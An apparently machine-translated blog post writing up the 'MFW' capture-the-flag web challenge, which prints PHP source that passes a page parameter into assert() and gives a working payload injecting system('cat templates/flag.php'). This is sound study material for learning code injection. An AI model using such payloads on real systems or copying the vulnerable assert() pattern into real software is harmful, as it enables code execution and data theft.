当前位置:网站首页>Attack and defense world MFW
Attack and defense world MFW
2022-07-27 08:10:00 【weixin_ fifty-three million one hundred and fifty thousand four】
List of articles
Open the web page to show :

Click to place the link and view the source code discovery :
This directly determines that there may be git Leaked , Use it directly githack Tools to obtain source code .
After obtaining the source code , An audit of the code revealed , The only point that can be used is index.php in :
Code audit :<?php if (isset($_GET['page'])) { # Pass in GET Parameters page $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>My PHP Website</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /> </head> <body> <nav class="navbar navbar-inverse navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">Project name</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li> <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li> <li <?php if ($page == "contact") { ?>class="active"<?php } ?>> <a href="?page=contact">Contact</a> </li> <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --> </ul> </div> </div> </nav> <div class="container" style="margin-top: 50px"> <?php require_once $file; ?> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /> </body> </html>After preliminary audit , My idea is to enter the following link directly :
http://61.147.171.105:63924/?page=flag
Obviously, he died miserably , Then you will find that it is annotated in the source code , Then I don't know where I can use it , I'm confused , And then look wp Only then discovered
We can find two assertions in the code :
// I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!");At the beginning of the audit, I didn't think it could be used here , What we use here is assert() Assertion , It can execute parameters as code .
Built payload:
?page=abc’) or system(“cat templates/flag.php”);//
Check the source code to find flag 了 .explain :
To tell the truth, everyone may be confused , How can this be used ? This is not in line with common sense ? But on second thought, this and SQL Injection is not very similar , When we use the above parameters , Our code execution will become :assert(“strpos(‘templates/?page=abc’) or system(“cat templates/flag.php”);//.php’, ‘…’) === false”)
To be honest, this is very interesting
verification :
stay PHP After discovery , I want to stay JAVA and Python Is there such a thing in ?JAVA verification :
unfortunately ,JAVA It is the safest , This method doesn't work ( in my opinion )
Python verification :
# -*- coding:utf-8 -*- import os a = input(" Please enter the file name :") print(a) assert os.path.exists(a)," It's a fake " print(" end ")
Failure
summary :
- When simple functions are in front of us, we need to be more sensitive , Sometimes this impossibility is the key to the problem
- When we find some loopholes, we must have the courage to practice , This requires us to master more programming language skills , Don't think it's difficult , First of all, who can make a coincidence? Second, all programming languages are a mother, but the rules of programming have changed
边栏推荐
- Comprehensive cases
- Sword finger offer 58 - I. flip word order
- You may need an additional loader to handle the result of these loaders.
- Notes in "PHP Basics" PHP
- [applet] the upload of the wechat applet issued by uniapp failed error: error: {'errcode': -10008,'errmsg':'Invalid IP
- Leetcode56. Consolidation interval
- DEMO:ST05 找文本ID 信息
- How to play with the purchase of SAP variant materials? Look at this article and you will understand
- Lua有状态迭代器
- Lua stateful iterator
猜你喜欢

Things come to conform, the future is not welcome, at that time is not miscellaneous, neither love

ERP生产作业控制 华夏

Download and usage of sequel Pro

How to play with the purchase of SAP variant materials? Look at this article and you will understand

Day111. Shangyitong: integrate nuxt framework, front page data, hospital details page

存储过程与函数

SETTA 2020 国际学术会议即将召开,欢迎大家参加!

Digital transformation driven by enterprise architecture!

Gossip: it's really important to have a rod in your hand and a net on your shoulder. As for how many fish are in the basket?

Plato farm is expected to further expand its ecosystem through elephant swap
随机推荐
[resolved] SSO forwarding succeeded, and there was an unexpected error (type=internal server error, status=500) caused by parameters in the forwarding URL
信息化项目风险控制与应用
Solid smart contract development - 3.3-solid syntax control structure
API version control [eolink translation]
北京五日游记
Gossip: it's really important to have a rod in your hand and a net on your shoulder. As for how many fish are in the basket?
Shell scripts related
Data extraction 2
SETTA 2020 国际学术会议即将召开,欢迎大家参加!
How to update PIP3? And running PIP as the 'root' user can result in broken permissions and conflicting behavior
如何更新pip3?和Running pip as the ‘root‘ user can result in broken permissions and conflicting behaviour
"PHP Basics" PHP statements and statement blocks
How to obtain the cash flow data of advertising services to help analyze the advertising effect?
这次龙蜥展区玩的新花样,看看是谁的 DNA 动了?
How does kettle handle text data transfer as' 'instead of null
Virtual machine cloning
一段平平无奇的秋招经历
Development of three database general SQL code based on PG Oracle and MySQL
2022/7/26 exam summary
存储过程与函数